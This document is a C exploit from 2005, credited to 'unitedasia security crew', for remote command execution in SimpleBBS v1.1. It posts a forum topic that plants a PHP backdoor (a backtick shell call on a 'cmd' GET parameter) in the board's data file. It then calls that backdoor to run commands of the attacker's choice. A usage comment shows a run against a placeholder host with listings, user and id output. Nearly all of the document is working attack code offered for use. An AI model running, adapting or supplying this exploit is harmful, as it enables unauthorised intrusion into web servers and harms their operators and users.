SimpleBBS <= v1.1 remote commands execution in c by: unitedasia security crew

/*

SimpleBBS <= v1.1 remote commands execution in c

coded by: unitedasia v.Dec.7.2005

greetz: iloveyouma

http://geography.about.com/library/maps/blrasia.htm
http://www.lib.utexas.edu/maps/middle_east_and_asia/asia_pol00.jpg

$ gcc -o bbs bbs.c

Usage ./bbs [host] [/folder/] [cmd]

$ ./bbs www.somesite.com /simplebbs/ 'ls%20-al;w;id;pwd'

HTTP/1.1 200 OK
Date: Wed, 07 Dec 2005 15:31:07 GMT
Server: Apache/1.3.34 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.4.0 FrontPage/5.0.2.2635 mod_ssl/2.8.25 OpenSSL/0.9.6b
X-Powered-By: PHP/4.4.0
Connection: close
Content-Type: text/html

161||||||1|||Winning||||||0|||Willy\\\"><!–total 188
drwxrwxrwx 2 f1 f1 4096 Dec 6 17:02 .
drwxr-xr-x 7 f1 f1 4096 Nov 17 2002 …
-rw-r–r-- 1 f1 f1 916 Oct 20 09:30 WS_FTP.LOG
-rwxrwxrwx 1 f1 f1 28 Nov 17 2002 categories.php
-rwxrwxrwx 1 f1 f1 151 Dec 7 09:11 forums.php
-rwxrwxrwx 1 f1 f1 0 Nov 17 2002 index.php
-rwxrwxrwx 1 f1 f1 0 Nov 17 2002 online.php
-rwxrwxrwx 1 f1 f1 550 Nov 17 2002 options.php
-rwxrwxrwx 1 f1 f1 28098 Dec 7 10:31 posts.php
-rwxrwxrwx 1 f1 f1 151 Dec 7 09:11 temp.php
-rw-r–r-- 1 nobody nobody 87569 Dec 6 17:03 tmp.php
-rwxrwxrwx 1 f1 f1 38089 Dec 7 10:31 topics.php
10:31am up 195 days, 11:35, 1 user, load average: 0.27, 0.23, 0.16
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 watcher.somesite.com 11Nov05 11:52m 16:51 0.41s -bash
uid=99(nobody) gid=99(nobody) groups=99(nobody)
/home/f1/public_html/simplebbs/data

*/

#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define closesocket(s) close(s)

#define HTTP_PORT 80

#define DATA "name=Willy\\\"><!–<?php error_reporting(0);print `\\$_GET[cmd]`; die;?>&subject=Winning&message=i would like to know how each team finds the perfect aerodinamic confuguration for each circuit, i mean, how they come to the conclusion of how the wings configurated.&sendTopic=Send"

/****************** MAIN*********************/

void sendpacket(char buffer[8192], int p, char host[100]);

int main( int argc, char **argv)
{

char buffer[8192];
char dat[8192];
int count;

if(argc<4)
{
     printf("Usage %s [host] [/folder/] [cmd]\n\nSimpleBBS <= v1.1 remote commands execution in c\ncoded by: unitedasia v.Dec.7.2005\ngreetz: iloveyouma\n",argv[0]);
     exit(1);
}

sprintf(dat, DATA);

sprintf( buffer, "POST %sindex.php?v=newtopic&c=0 HTTP/1.0\nHost: %s\nContent-Type: application/x-www-form-urlencoded\nContent-Length: %d\n\n%s\n\n\n", argv[2], argv[1], strlen(dat), dat);

sendpacket(buffer,0,argv[1]);

sprintf( buffer, "GET %sdata/topics.php?cmd=%s HTTP/1.0\nHost: %s\n\n", argv[2], argv[3], argv[1]);

sendpacket(buffer,1,argv[1]);

return count;

}

void sendpacket(char buffer[8192], int p, char host[100])
{

struct sockaddr_in server;
struct hostent *host_info;
unsigned long addr;
int sock;
char dat[8192];
int count;

/* create socket */
sock = socket( PF_INET, SOCK_STREAM, 0);
if (sock < 0) {
    perror( "failed to create socket");
    exit(1);
}

/* Create socketadress of Server
 * it is type, IP-adress and portnumber */
memset( &server, 0, sizeof (server));

/* convert the Servername to a IP-Adress */
host_info = gethostbyname( host);
if (NULL == host_info) {
    fprintf( stderr, "unknown server: %s\n", host);
    exit(1);
}
memcpy( (char *)&server.sin_addr, host_info->h_addr, host_info->h_length);

server.sin_family = AF_INET;
server.sin_port = htons( HTTP_PORT);


/* connect to the server */
if ( connect( sock, (struct sockaddr*)&server, sizeof( server)) < 0) {
    perror( "can't connect to server");
    exit(1);
}

send( sock, buffer, strlen( buffer), 0);

/* get the answer from server and put it out to stdout */
if (p==1) {
  do {
      count = recv( sock, buffer, sizeof(buffer), 0);
      write( 1, buffer, count);
  }
  while (count > 0);
}

/* close the connection to the server */
closesocket( sock);

}